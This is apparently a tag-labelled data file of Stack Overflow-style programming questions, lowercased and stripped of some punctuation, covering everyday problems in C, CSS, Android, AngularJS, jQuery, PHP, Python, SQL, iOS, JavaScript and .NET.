how to cut short the program   i want the following code to be cut short less than 100 bytes. i tried all the control statements that i could. so is there any other way    <pre><code>#include&lt;stdio.h&gt; main() {     int t x;     scanf( %d  &amp;t);     while(t--)         {             scanf( %d  &amp;x);     ((x&amp;x-1)==0&amp;&amp;x!=0) printf( 1\n ):printf( 0\n );     } } </code></pre>,c
transition over other elements css  fiddle <a href= http://jsfiddle.net/gcats/e8q3y/  rel= nofollow >here</a>    when clicking in a square i needed to make the others disappear (so there s no scroll bar) using the same transition. how to do it    <pre><code>.block {     width:100px;     height:100px;     -webkit-transition-duration: 2s;     -webkit-transition-property: all;     -webkit-transition-timing-function: ease-in-out; /*animation*/     text-align: center;     overflow: hidden;    } </code></pre>,css
toolbar not showing  no errors  i am trying to make my app fit the new api s but i have a lot of trouble changing the old actionbar to a toolbar. it is just not showing up. here is my mainactivity:   <pre><code>public class mainactivity extends appcompatactivity implements     actionbar.tablistener  fragmentdrawer.fragmentdrawerlistener {      private toolbar mtoolbar;     protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);     mtoolbar = (toolbar) findviewbyid(r.id.toolbar);      setsupportactionbar(mtoolbar);     getsupportactionbar().setdisplayshowhomeenabled(true);  public boolean oncreateoptionsmenu(menu menu) {     // inflate the menu; this adds items to the action bar if it is present.     super.oncreateoptionsmenu(menu);     getmenuinflater().inflate(r.menu.main  menu);     return true; }  public boolean onoptionsitemselected(menuitem item) {      super.onoptionsitemselected(item);      switch (item.getitemid()) {         case r.id.action_search:              break;         case r.id.settings:              break;     }      return super.onoptionsitemselected(item); } </code></pre>   this is the menu xml file:   <pre><code>&lt;menu xmlns:android= http://schemas.android.com/apk/res/android      xmlns:app= http://schemas.android.com/apk/res-auto      xmlns:tools= http://schemas.android.com/tools      tools:context= com.adrissa.klea.mainactivity  &gt;      &lt;item         android:id= @+id/action_search          android:title= @string/action_search          android:icon= @drawable/ic_action_search          app:showasaction= ifroom  /&gt;      &lt;item         android:id= @+id/settings          android:icon= @drawable/ic_action_settings          android:title= @string/settings          app:showasaction= ifroom /&gt;    &lt;/menu&gt; </code></pre>   this is the activity_main xml file:   <pre><code>&lt;android.support.v4.widget.drawerlayout     android:id= @+id/drawer_layout      xmlns:android= http://schemas.android.com/apk/res/android      xmlns:app= http://schemas.android.com/apk/res-auto      xmlns:tools= http://schemas.android.com/tools      android:layout_width= match_parent      android:layout_height= match_parent &gt;      &lt;include         android:id= @+id/toolbar          layout= @layout/toolbar /&gt;     &lt;framelayout         android:id= @+id/container_body          android:layout_width= fill_parent          android:layout_height= 0dp          android:layout_weight= 1  /&gt;      &lt;fragment         android:id= @+id/fragment_navigation_drawer          android:name= com.adrissa.klea.fragmentdrawer          android:layout_width= @dimen/navigation_drawer_width          android:layout_height= match_parent          android:layout_gravity= start          app:layout= @layout/fragment_navigation_drawer          tools:layout= @layout/fragment_navigation_drawer  /&gt;  &lt;/android.support.v4.widget.drawerlayout&gt; </code></pre>   my styles.xml   <pre><code>&lt;resources&gt;      &lt;style name= mytheme  parent= @style/theme.appcompat.light.noactionbar &gt;         &lt;item name= windownotitle &gt;true&lt;/item&gt;         &lt;item name= windowactionbar &gt;false&lt;/item&gt;         &lt;item name= colorprimary &gt;@color/colorprimary&lt;/item&gt;         &lt;item name= colorprimarydark &gt;@color/colorprimarydark&lt;/item&gt;         &lt;item name= coloraccent &gt;@color/coloraccent&lt;/item&gt;     &lt;/style&gt;  &lt;/resources&gt; </code></pre>   and finally the toolbar.xml file   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;android.support.v7.widget.toolbar     android:id= @+id/toolbar      xmlns:android= http://schemas.android.com/apk/res/android      xmlns:local= http://schemas.android.com/apk/res-auto      android:layout_width= match_parent      android:layout_height= wrap_content      android:background=  attr/colorprimary      android:minheight=  attr/actionbarsize      local:popuptheme= @style/themeoverlay.appcompat.light      local:theme= @style/themeoverlay.appcompat.dark.actionbar /&gt; </code></pre>   i can see i m not the only who is having trouble implementing the toolbar instead of actionbar  but i don t seem to find any of the proposed solutions  to fit my problems. i get no errors. just no toolbar.,android
ng-model in dropdown is not working when 2 items starts with the same word  i have a listbox with several items  some of them starting with the same word.<br>  seems to me that if i try to use the ng-model to set the selected  item using a value black the row isn t selected.<br>    seems to me the sample is correct.  am i missing something    <pre><code>$scope.colors = [   {name: black   shade: dark }    {name: black 2   shade: dark }    {name: white   shade: light }    {name: red   shade: dark }    {name: blue   shade: dark }    {name: yellow   shade: light } ]; $scope.mycolor =  black ; // red </code></pre>   i created here <a href= http://plnkr.co/edit/qitlluxpuyrpz6hojbaw p=preview  rel= nofollow >a repro</a>,angularjs
find linked stylesheets with jquery and add a random number at the end  i m trying to get all stylesheet to look like:   <pre><code>&lt;link href= style.css v=1234  rel= stylesheet  type= text/css  /&gt; </code></pre>   the only problem i m running into is getting the current link tag and then applying the new random number to the current path.  i think my method of applying finding the link is ok  but getting the current attr and then applying a new one is where i m going wrong.   <pre><code>$(document).ready(function() {  var randomnum = math.ceil(math.random()*2); // is this the best way  $( head ).find( link ).attr( href )+  v= +randomnum;  // i don t think this works $( link[rel= stylesheet ] ).end()+  v= +randomnum;  }); </code></pre>   i have a bunch of people who are experiencing cache problems and they noted that this would be a possible solution.,jquery
display image map if no flash detected  so my basic understanding was that the <code>&lt;noscript&gt;</code> tag was used to display content if the user has scripting disabled  especially useful when there is no flash player.    so i am trying to figure out why in some code that was sent to me  that they have an <code>&lt;object&gt;</code> tag inside of the <code>&lt;noscript&gt;</code> tag...   <pre><code>&lt;noscript&gt;     &lt;object classid= clsid:d27cdb6e-ae6d-11cf-96b8-444553540000  codebase= https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10 0 0 0  width= 785  height= 525  id= home  align= middle &gt;     &lt;param name= allowscriptaccess  value= samedomain  /&gt;     &lt;param name= allowfullscreen  value= false  /&gt;     &lt;param name= movie  value= home.swf  /&gt;&lt;param name= quality  value= high  /&gt;&lt;param name= bgcolor  value= #ffffff  /&gt;    &lt;embed src= home.swf  quality= high  bgcolor= #ffffff  width= 785  height= 525  name= home  align= middle  allowscriptaccess= samedomain  allowfullscreen= false  type= application/x-shockwave-flash  pluginspage= https://www.adobe.com/go/getflashplayer  /&gt; &lt;/object&gt; &lt;/noscript&gt; </code></pre>   second part to my question is  can you put an image map in place of the flash player if scripting  or flash has been disabled...    need to put an image map with two area coords:   <pre><code>&lt;area shape= rect  coords= 175 196 372 250 &gt; &lt;area shape= rect  coords= 417 197 616 249 &gt;  </code></pre>,html
check if a string contains numbers and letters  i want to detect if a string contains both numbers and letters.    for example:   <ul> <li>given <code>pncc1kecj4ppvw</code>  it would be written to a text file because it contains both.</li> <li>given <code>qdeq</code>  it would not  because it only contains letters.</li> </ul>   is there a method to do this      i was trying to use   <pre><code>$string = preg_replace( /[^0-9a-za-z]/i       $buffer); </code></pre>   but it didn t work.    any help would be appreciated.,php
using python to add unordered list tags to plain text file (for html output)  i need to add unordered list tags around a long list of items using regular expressions if possible. this text is being pulled from a text file and processed inside a markup function which includes many different regex s to replace certain elements of the original text file with markup tags.   <pre><code>* item one * item two * item three * item four </code></pre>   i currently have a regex function to to replace the asterix with the list tags like follows.   <pre><code>    &lt;li&gt;item one&lt;/li&gt;     &lt;li&gt;item two&lt;/li&gt;     &lt;li&gt;item three&lt;/li&gt;     &lt;li&gt;item four&lt;/li&gt; </code></pre>   how would i add in the  tags at the beginning and ending of the list using a regex or recursive/looping process  would i be better off doing this before or after swapping the asterix for list tags,python
how to dynamically adapt the layout by using only css  depending by the size of the app interface  i need to adapt dynamically the layout by using only css. it will be possible     if the width of my app is 500px  i d like to display the 3 containers in this way:   <pre><code>            | a   b |  // width 500px             |   c   | </code></pre>   if the width of my app is 750px  i d like to display the 3 containers in this way:   <pre><code>            |  a  b  c  | // width 750px </code></pre>   here is the <a href= http://jsfiddle.net/euytq/60/  rel= nofollow >example</a>.    by clicking on the button  change app size  you can change the size of the container.,css
how do i take a number from a text file and replace it with that number +1   i want to take a number  in my case 0  and add 1  then replace it back into the file. this is what i have so far:   <pre><code>def casenumber():     casenumber = open( casenumber.txt    r )     lastcase = casenumber.read().splitlines()[0]     case = []     case.append(lastcase)     newcase = [ int(x)+1 for x in case ]      with open( casenumber.txt   mode =  a       encoding =  utf-8 ) as my_file:         my_file.write( {} .format(newcase))      print( thankyou  your case number is {}  write it down! .format(newcase)) </code></pre>   after this is run  i get:    this is what is added to the file:  0000[1]    (the number in the file was 0000  to start off with  but it added [1] aswell)    basically  the part i am stuck on is adding 1 to the number without the brackets.,python
detect swipe faster than uiswipegesturerecognizer   i was wondering how to detect a  swipe  faster than this  i d like to call a method as soons as the user moves his finger to the left. <strong>let s call it a  small  swipe gesture.</strong>    this would be the normal/long swipe…   <pre><code>uiswipegesturerecognizer *recognizer = [[uiswipegesturerecognizer alloc] initwithtarget:self action:@selector(handleswipefrom:)]; recognizer.direction = uiswipegesturerecognizerdirectionleft; [scrollview addgesturerecognizer:recognizer]; [recognizer release]; [scrollview delayscontenttouches]; </code></pre>,objective-c
html: siblings of char &#9660;  char &amp;#9660; in html displays a large down arrow that is very useful in dynamic menus (&#9660;). but it s kinda large. is there a char for smaller version of this arrow,html
error code: 1054. unknown column  examquestions.employees.number  in  field list   below is query-   <pre><code>select     employees.number      employees.surname      employees.projectname from     examquestions.projects p      examquestions.employees e where     p.number = e.number; </code></pre>,mysql
ios ui design: label and text in a same table row  which component in xcode could be used to design the ui like the image link below.    <a href= https://www.dropbox.com/s/8ujmfjb0pdc36nu/sample.png  rel= nofollow >https://www.dropbox.com/s/8ujmfjb0pdc36nu/sample.png</a>,ios
what are the table and column limits in sql   what is the maximum number of tables that can be created in sql and what is the maximum number of columns for a single table,sql
how to properly reload a module so that the result is faithful   i m trying to find a way to reload a module such that after any methods should be faithfully reflected after the reload. i ve tried <code>reload()</code>  but if i remove a method in run-time  the method can still be called. it seems methods missing in run-time aren t faithfully reflected. is my observation correct  if so  is there a way more faithful     thanks,python
how to calculate hour value from degree  <pre><code>0 degree = 3 o clock 90 degree = 0 o clock 180 degree = 9 0 o clock </code></pre>   so can we have a expression to convert from degree to clock hour in objective-c,objective-c
flipping a number using php  hi i have a number in php  and i need to flip it (eg.  1112 --> 2111 ). how can this be performed  should i use an array  or is there a special function,php
returning sequential numbers  assume col contains system name  apple . col b has a bunch of id s associated with system in col a. these id s mean something wrt the system. col c has the timestamp at which these id s are generated by the system.    this is the query i wrote to obtain the above data:   <pre><code>select name  id  time from xtable where (name= apple ) and id in ( 1    2    3    4 ) group by name  id  time </code></pre>   the problem with this query is that it returns rows as long as it contains one of the above numbers (not necessarily in a sequence)    output of the above query:   <pre><code>apple   3    12/1/2010 11:04 am  apple   4    12/1/2010 11:58 am apple   1    12/1/2010 11:00 am apple   1    12/1/2010 11:01 am apple   1    12/1/2010 09:05 am apple   2    12/1/2010 09:10 am apple   3    12/1/2010 09:40 am  apple   4    12/1/2010 10:00 am apple   2    12/4/2010 03:25 pm  apple   1    12/4/2010 12:47 pm . . . . . . </code></pre>   i want to tweak it such that it returns values in all three columns only when the ids in column b occur in a sequence (1 2 3 4). i want this information because the sequential ids represent a set of events that i m using to extract some information.,mysql
add a border to a triangle using pure css  so  i ve created a triangle that points up with a background color of#222 using pure css. i want to add a red 1px border to that triangle  but i have no idea how.   <pre><code>.arrow-tip {     width: 0; height: 0;      border-left: 15px solid transparent;     border-right: 15px solid transparent;     border-bottom: 15px solid #222; } </code></pre>,css
error code: 1452. cannot add or update a child row:  a foreign key constraint fails (<code>ldatabase</code>.<code>book</code>  constraint <code>bpid</code> foreign key (<code>bpid</code>) references <code>publish</code> (<code>pid</code>) on delete no action on update no action) insert into <code>ldatabase</code>.<code>book</code> (<code>bid</code>  <code>title</code>  <code>author</code>  <code>bpid</code>  <code>available</code>  <code>language</code>) values (20   dsp    kevin   01  10   eng )    i have created the tables and also inserted values into the publish table.. when i am trying enter values for book table .. due to my misfortune i have encountered this error,sql
assembly reference warnings   how can i resolve this assembly reference warnings    <blockquote>    system.net.http.formatting.dll: warning cs1701: assuming assembly reference  newtonsoft.json  version=4.5.0.0  culture=neutral    publickeytoken=30ad4fe6b2a6aeed  matches  newtonsoft.json    version=6.0.0.0  culture=neutral  publickeytoken=30ad4fe6b2a6aeed     you may need to supply runtime policy newtonsoft.json.dll: (location   of symbol related to previous warning)  </blockquote>,asp.net
how to insert textbox values which is present in gridview  i have one gridview  in that i m using more than 5 textboxes in item template i want to insert the values present in textbox to table any body plz give your sugesstion     i tried the following method its showing error i write these lines in button click event    <pre><code>textbox txtprod = (textbox)sender;    gridviewrow row = (gridviewrow)txtprod.parent.parent;   int rowindex = row.rowindex;   textbox txtdetails     =(textbox)gridview2.rows[rowindex].cells[1].findcontrol( txtprod );  textbox txtquoquantity=(textbox)gridview2.rows[rowindex].cells[3].findcontrol( txtquantity );  textbox txttax = (textbox)gridview2.rows[rowindex].cells[6].findcontrol( txttax );   textbox txtquorate = (textbox)gridview2.rows[rowindex].cells[4].findcontrol( txtrate );   textbox txtquodis = (textbox)gridview2.rows[rowindex].cells[5].findcontrol( txtdis );  textbox txtquoamount = (textbox)gridview2.rows[rowindex].cells[7].findcontrol( txtamt ); </code></pre>,asp.net
pop art effect in iphone  thanks in advance.    i want to get a pop art effect on a image (pop art effect means in photoshop we will get 4 photos with different effects of same photo) in iphone using objective c. actually i dodn t know is it possible or not   if possible how to proceed. if any one know please help me.,iphone
create an array from a text file or another array that is based on tabbed spaces   what i am ultimately trying to do is take a text file that looks like below and organize them into something i can use like an array based on tabbed spaces.     // example //   <pre><code>this is no tabbed space      this is a tabbed space           this is 2 tabbed spaces this is no tabbed space  </code></pre>   i would like to end up with:(using php preferably)   <pre><code>$list= array(no \t( string    string    string   one \t ( string    string    string    tw0 \t( string    string    string   etc..))   no \t again starts new( string    string   array()); </code></pre>   i need to keep nesting based on \t spaces and start over when i hit no \t space. any suggestions or better ways to do this     i need to use this list from a text file to insert into database as categories and use for menu items that have sub levels and as many needed depending on the text file.    i figured out how to get them into one array but is there a way to organize them by the tabbed spaces or maybe by if greater than a certain amount of spaces etc..  i am just confused at this piont been trying many different ways but i am truly lost.,php
how to select the first child without knowing its element  <pre><code>&lt;script&gt;     $(document).ready(function (){         $( #container div:first-child ).text( foobar );             });     &lt;/script&gt; &lt;div id= container &gt;     &lt;div&gt;foo&lt;/div&gt;     &lt;div&gt;bar&lt;/div&gt; &lt;/div&gt; </code></pre>   will print   <pre><code>foobar bar </code></pre>   what s the proper syntax for the selector to select only the first child node regardless of the element it is     for example how can i change the selector so that   <pre><code>&lt;span&gt;foo&lt;/span&gt; &lt;div&gt;bar&lt;/div&gt; </code></pre>   would print   <pre><code>foobar bar </code></pre>,jquery
form element iteration  in javascript  i ve been working on a code snippet for a template module that i have been creating and i ve hit a wall so to speak. i m trying to loop through all textareas on my page  and apply formatting with some very basic validation.    javascript is not my strongest suit but i can understand it to a point  my question is how do i collect the id s and then use them to apply the formatting.     for example    <pre><code>for each (textarea)  {     collect character restriction from html     display character restriction in a formatted manner } </code></pre>   i have included my <a href= https://jsfiddle.net/grhlupp7/1/  rel= nofollow >jsfiddle</a> which i have been using to build this snippet.,javascript
progress bar on the basis of percentage  i want to make a progress bar for my android application on the basis of percentage  like percentage starts with 100 and decreases to 0 . so that i want to move my progress bar from 100 to 0 percentage  decrease it from the max to minimum. can anybody help me,android
i want to select multiple dates in calendar in android  i want to select multiple dates in calendar multiple select is working fine but in toast displaying  only single date(first date).if i selected 4 days(1.8.14 to 4.8.14) all dates should be displayed in toast. here is my code   <hr>  <pre><code>public class sampletimessquareactivity extends activity{             private static final string tag= sampletimessquareactivity ;           private calendarpickerview calendar;           private alertdialog thedialog;           private calendarpickerview dialogview;           public static date july;            @override           protected void oncreate(bundle savedinstancestate)           {                     super.oncreate(savedinstancestate);                     setcontentview(r.layout.sample_calendar_picker);                     final calendar nextyear = calendar.getinstance();                     nextyear.add(calendar.year  1);                      final calendar lastyear = calendar.getinstance();                     lastyear.add(calendar.year  -1);                      calendar = (calendarpickerview) findviewbyid(r.id.calendar_view);                      final button multi = (button) findviewbyid(r.id.button_multi);                            calendar today = calendar.getinstance();                          today.set(calendar.day_of_month                          today.getactualmaximum(calendar.day_of_month));                          date end = today.gettime();                         arraylist&lt;date&gt; dates = new arraylist&lt;date&gt;();                         for (int i = 0; i &lt; 5; i++)                          {                           today.add(calendar.day_of_month  3);                           dates.add(today.gettime());                         }                         calendar.init(new date() end) //                             .inmode(selectionmode.multiple);                       findviewbyid(r.id.done_button).setonclicklistener(new onclicklistener()                      {                           @override                           public void onclick(view view)                            {                             log.d(tag   selected time in millis:   + calendar.getselecteddate().gettime());                             string toast =  selected dates:   + calendar.getselecteddate();                             toast.maketext(sampletimessquareactivity.this  toast  length_short).show();                           }                     });           }            @override public void onconfigurationchanged(configuration newconfig)            {                     boolean applyfixes = thedialog != null &amp;&amp; thedialog.isshowing();                     if (applyfixes)                      {                       log.d(tag   config change: unfix the dimens so i ll get remeasured! );                       dialogview.unfixdialogdimens();                     }                     super.onconfigurationchanged(newconfig);                     if (applyfixes)                      {                       dialogview.post(new runnable()                        {                         @override public void run()                         {                           log.d(tag   config change done: re-fix the dimens! );                           dialogview.fixdialogdimens();                         }                       });                     }           } } </code></pre>,android
timespan and utc  i have a timespan variable  which has time in local time zone but for a database ( cold type time) i need to pass utc . how do i do this  also i need to get utc to local time to populate timespan variable on pageload. thanks!!!,.net
ruby on rails to_json function add parameter to methods for render in favorites or not   how do i add parameters to methods for rendering the current place in favorites     i tried this:   <pre><code>class place &lt; activerecord::base     has_and_belongs_to_many :users     def in_fav(user)       if user.places.include place.find(id)          return true       else          return false       end    end  end   class user &lt; activerecord::base     has_and_belongs_to_many :places end    class placescontroller &lt; applicationcontroller      places = place.all       user = user.first       render json: {desc:true  status:1; data: places}.to_json(:methods =&gt; :in_fav(user)) end </code></pre>   i find same problem <strong><a href= https://stackoverflow.com/a/2745799/4822986 >here</a></strong>   <pre><code>attr_accessor :current_user  def is_favorited_by_user (user=nil)    user ||= current_user end   @drops.current_user = current_user render :json =&gt; @drops.to_json(:methods =&gt; :is_favorited_by_user ) </code></pre>   i don t understand <strong>current_user</strong> - it s assocciations  and how to use method <strong>current_user</strong> for collection <strong>@drops</strong>,ruby-on-rails
400 (bad request) in image url angular js <pre><code>imageurl/{{product.thumb_vimage}} 400 (bad request) </code></pre>   i getting above error in my <code>console</code>; i want to know the reason of it.   <pre><code>&lt;div class= img  ng-repeat= product in products| orderby : sort_by |limitto:limit track by $index   &gt;   &lt;a ng-click= displayproduct(product)  data-toggle= modal  data-target= #modal_product &gt;        &lt;img class= image_{{product.iproductid}}  src= {{product.thumb_vimage}}  alt=  &gt;       &lt;div class= overlay &gt;&lt;/div&gt;   &lt;/a&gt; &lt;/div&gt; </code></pre>,angularjs
how to make provisioning profile for iphone app   hi everyone i would like to know that how to make the provisioning profile for iphone app.i want to test my app on the device and i don t know what i need to do to make that possible to test the app.please anyone can help me in the steps for that.    thanks in advance.,iphone
"can someone validate this javascript code (to do list)  here s the code...   <pre><code>https://jsfiddle.net/6n2k65zs/ </code></pre>   try add a new item  you ll see its not working for some reason but it should be... i can t spot any errors in the code  can someone help me out please     and does anyone know any good debuggers  debugging js is a nightmare!    thanks.    <div class= snippet  data-lang= js  data-hide= true >
 <div class= snippet-code snippet-currently-hidden >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 &lt;head&gt;
     &lt;title&gt;javascript to-do list&lt;/title&gt;
     &lt;link href= css/style.css  rel= stylesheet &gt;
 &lt;/head&gt;
 
 &lt;body&gt;
         &lt;input id= input  type= text &gt;
         &lt;button id= btn &gt;add&lt;/button&gt;
         &lt;hr&gt;
         &lt;ul id= todo &gt;
 
         &lt;/ul&gt;
 
         &lt;ul id= done &gt;
 
         &lt;/ul&gt;
 
 &lt;!--        javascript anonymous self-invoking function         --&gt;
 &lt;!--        function expressions will execute automatically     --&gt;
 &lt;script&gt;
     // from outside the action you wont be able to access the variables
     // prevents another variable with a same name from conflicting
     (function(){
         var input = document.getelementbyid( input );
         var btn = document.getelementbyid( btn );
 //          object for the lists
 // the reason im using id is because id can only be named once rather than a class which can be named 100 s of times            
         var lists = {
             todo:document.getelementbyid( todo ) 
             done:document.getelementbyid( done )
         };
 
         /*   parameter is string
          create a list element which is stored in  el  and returns it
          */
         var maketaskhtml = function(str  oncheck) {
             var el = document.createelement( li );
             var checkbox = document.createelement( input );
             var label = document.createelement( span );
             
             label.textcontent = str;
             checkbox.type =  checkbox ;
             checkbox.addeventlistener( click   oncheck);
 //            el.textcontent = str;
 //            can use this method to move an element from one element to another
             el.appendchild(checkbox);
             el.appendchild(label);
             // text content is grabbing the text from the text box and storing it in variable el.
             return el;
         };
         var addtask = function(task) {
          lists.todo.appendchild(task);
         };
         
         var oncheck = function(event){
             var task = event.target.parentelement; //targets the item clicked
             var list = task.parentelement.id;
             
             //lists.done.appendchild(task);
             //swaps the 2 objects around
             lists[list ===  done     todo  :  done ].appendchild(task);
             this.checked = false;
 
             input.focus();
             
         };
         
         var oninput = function() {
             var str = input.value.trim; // trim removes white space...
             
             if (str.length &gt; 0) {
                 addtask(maketaskhtml(str  oncheck));
                 input.value =   ;
                 input.focus();
             }
         };
         
         btn.addeventlistener( click   oninput);
         input.addeventlistener( keyup   function(event){
             var code = event.keycode;
             console.log(code);
 
             if (code === 13) {
              oninput();
             }
         });
         input.focus();
         
         addtask(lists.todo  maketaskhtml( test done   oncheck));
 
     }());
 
 &lt;/script&gt;
 
 
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",javascript
calculating cumulative average growth rate in php  i am trying to compare the performance of 2 investments by calculating back the cumulative average growth rate.    i have found this formula which works perfectly in excel but i cannot get it to work in php...it simply returns  0  every time:   <pre><code>cagr = (xn/x0)^(1/t) - 1  where:  xn = current market value of portfolio  x0 = initial portfolio s value  t = number of years </code></pre>   any help is greatly appreciated. thanks.,php
how to add external camera in ipad via usb  i am try to connect usb otoscope (like external camera) with ipad  i want to show live video via otoscope. is this possible to connect. which framework need to use for connect otoscope.,ios
how can i update a web page remotely  using a web service or email  no direct server access  how can i update a web page remotely  is there a web service or can i do it via email  i have no direct access to the server.    we simply need to add an alert facility in an emergency. for example simple text message across the top of the home page saying  we are shut today due to bad weather .    thanks,html
sql returning a sum and a single value from a table on a condition  i have a table that contains the product  warehouse number (numbered 1-8)  quantity-on-hand  and list-price for inventory items.  each line contains specific data for a particular warehouse.  we have 8 warehouses in total  so each product has 8 lines associated with it in the table.    i need to return the product  the sum of the quantity-on-hand for all 8 warehouses  but only want to show the unique list-price for a selected warehouse.  i can use the sum aggregate function with a group-by to return the correct summation of the quantity-on-hand  but can t figure out how display the unique list-price for one particular warehouse within the same query.,sql
right align text in a javascript  i am a beginner in javascript. i have researched the forum for answers to my question. there were a couple that i think i could have used except with my code i am  not sure where or how to put it. can someone help me  i need to show the eight rows right aligned. thank you !!!   <pre><code>results.each(function(index) { var result =   ; var theseclmstats = record.tables.planclmstats[index].tables.clmstats; var thisplanclmstats = record.tables.planclmstats[index]; //query( #test ).append(thisplanclmstats.fields[ planname ]+   (  + index +  ) has   + thisplanclmstats.tables.length +  table(s)&lt;br/&gt; ); if(thisplanclmstats.fields.planid != null) {     theseclaimsource = thisplanclmstats.tables.clmstats.claimsource;     result +=  &lt;tr data-repeat=   data-breakable= claimsource  + index +  &gt; ;     result +=  &lt;/tr&gt; ;      var clmstatslen = theseclmstats.length;      for (var i=0; i &lt; clmstatslen; i++) {         var thisclmstats = theseclmstats[i];          result +=  &lt;tr data-repeat=   data-breakable= clmstats  + i +  &gt; ;         result +=  &lt;td&gt;&lt;br/&gt;&lt;/td&gt; ;         result +=  &lt;td class= data planid  textalign:right&gt; + thisclmstats.fields[ claimsource ] +  &lt;/td&gt; ;         result +=  &lt;td class= data planid &gt; + thisclmstats.fields[ uniqueparticipants4 ] +  &lt;/td&gt; ;         result +=  &lt;td class= data planid &gt; + thisclmstats.fields[ claimvolume4 ] +  &lt;/td&gt; ;         result +=  &lt;td class= data planid &gt; + thisclmstats.fields[ claimaverage4 ] +  &lt;/td&gt; ;         result +=  &lt;td class= data planid &gt; + thisclmstats.fields[ percentageoftotalvolume4 ] +  &lt;/td&gt; ;         result +=  &lt;td class= data planid &gt; + thisclmstats.fields[ paid4 ] +  &lt;/td&gt; ;         result +=  &lt;td class= data planid &gt; + thisclmstats.fields[ pending4 ] +  &lt;/td&gt; ;         result +=  &lt;td class= data planid &gt; + thisclmstats.fields[ denied4 ] +  &lt;/td&gt; ;          result +=  &lt;/tr&gt; ;     } }  this.after(result); </code></pre>   });,javascript
last day of the month in .net  normally i use the below code  but is there a better way    <pre><code>lastofmonth = new datetime(now.year  now.month  1).addmonths(1).adddays(-1) </code></pre>,.net
why can t i get two lists from one list comprehension   so i have an array of the following form:   <pre><code>[(1  u first_type   u data_gid_1 )    (2  u first_type   u data_gid_2 )    (3  u first_type   u data_gid_3 )    (4  u first_type   u data_gid_4 )] </code></pre>   now i want to extract the first and the last element of each inside list into separate lists. so if i do:   <pre><code>&gt;&gt;&gt; ids = [dat[0] for dat in all_data] &gt;&gt;&gt; gds = [dat[2] for dat in all_data] </code></pre>   this works as i expect it to. however i was trying to merge these two into one call  something like:   <pre><code> (ids  gds) = [(dat[0]  dat[2]) for dat in all_data] </code></pre>   this however fails with an:      <code>valueerror: too many values to unpack</code>    so could anyone explain why this is happening and if what i am trying to do is even possible.    regards  bogdan,python
angular-js file upload in ng-repeat  my html file: upload.html   <pre><code>&lt;tr ng-repeat= expenses in finaljson.comments &gt;  &lt;td &gt;    &lt;div class= image-upload &gt;      &lt;label for= file-input &gt;        &lt;img src= ../images/upload1.jpg  style= width: 20px; /&gt;{{data.files[0].name}}      &lt;/label&gt;      &lt;input id= file-input  type= file  ng-model= expenses.files   ngf-select accept= *  value=  /&gt;     &lt;/div&gt;  &lt;/td&gt; &lt;/tr&gt; </code></pre>   controller : uploadcontroller i have used this to get the file names after the upload is clicked    var json = json.stringify($scope.finaljson.comments);         console.log(json);    screenshot:    <a href= https://i.stack.imgur.com/9rmv2.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/9rmv2.png  alt= enter image description here ></a>    when i upload one file its working file  when am adding more then one file i cant get the second file name in the console. can any one suggest me  how to get many files at once after the upload click was made.   <pre><code>[{      index : 1       amount :  10        $$hashkey :  object:5        date :  2016-04-11        category :  58        note :  wdxw        paid_to :  swdw        files : {          webkitrelativepath :              lastmodified : 1450934331000           lastmodifieddate :  2015-12-24t05:18:51.000z            name :  node-js.pdf            type :  application/pdf            size : 182649     } }  {      $$hashkey :  object:31        date :  2016-04-05        category :  60        note :  scds        paid_to :  dsad        amount :  20  }] </code></pre>,angularjs
how to implement error bar in ios   i am new to <code>ios</code> programming and taking course work.    one of the homework talks about implementing an error bar which shows up when there is no network.    <img src= https://i.stack.imgur.com/quvrb.png  alt= enter image description here >    it also says not to use <code>uialertview</code>.    can someone point me to resources how to do such a thing  i don t even know what to search.  i tried <code>implementing error bar</code> and alike queries which did not produce any useful result.,ios
cand i insert all images in html from a folder with a single line of code   i have folder <strong>img</strong> and inside of the folder i have 200 pictures. do i have any possibility to insert all the images in a html pages to be shown  without writing this line of code 200 times    <pre><code>&lt;img src= img/ladybug.jpg  alt= ladybug  title= ut rutrum  lectus eu pulvinar elementum  lacus urna vestibulum ipsum &gt;&lt;/li&gt; </code></pre>,html
jquery show a number of list items  fade them out then show some more  i ve got an ordered list of thumbnail images. i m trying to figure out how to display say - 9 of these  then have them fade out and display the following 9  etc etc. using jquery.    there will be a lot of images  so i ll need the function to keep on truckin...    i d be very grateful for any help,jquery
html table spacing  i am attempting to create a uniform series of simple html tables on a website that seem determined to decide their own column spacing despite having the exact same syntax as the others. some of them are well-spaced  and others are comically close or far apart. how can i fix the column widths to be the same so they appear uniform      this is an example of one of the 8 tables:   <pre><code>&lt;table class=”table4”&gt;   &lt;tbody&gt;     &lt;tr&gt;       &lt;td&gt;&lt;b&gt;qty&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;&lt;b&gt;wire edm&lt;/b&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;1&lt;/td&gt;       &lt;td&gt;mitsubishi fx 10&lt;/td&gt;     &lt;/tr&gt;   &lt;tbody&gt; &lt;/table&gt; </code></pre>   i have tried  cellspacing  to no avail. i ve also deleted and re-written the code multiple times  but they come out without change.     i m brand new to html  and this is also not my work  i m trying to rework someone else s code. clear and complete answers would be greatly appreciated!     thank you in advance.,html
using .net with big software projects ie: finance telecom etc  first of all sorry for my language i am not native english speaker.    what do you think about using .net on a big softwares. i heard java has big part on big projects.(i know big has wide meanings but i hope what is my intention using word  big )    is .net has a part project like i mentioned on title,.net
radio button selection detected by a divison  suppose i have two radio buttons   <pre><code>    &lt;input id= individual user  type= radio  name= register_form_categories  value= individual user  /&gt;     &lt;label for= individual user &gt;individual user&lt;/label&gt;      &lt;input id= group admin  type= radio  name= register_form_categories  value= group admin  /&gt;     &lt;label for= group admin &gt;group admin&lt;/label&gt; </code></pre>   now i have a next divison also    <pre><code>&lt;a href= # &gt;&lt;div class= sign_in_me &gt;next&lt;/div&gt;&lt;/a&gt; </code></pre>   how to open different servlets let individual.html and group.html on different radio button click followed by next click.    please help,html
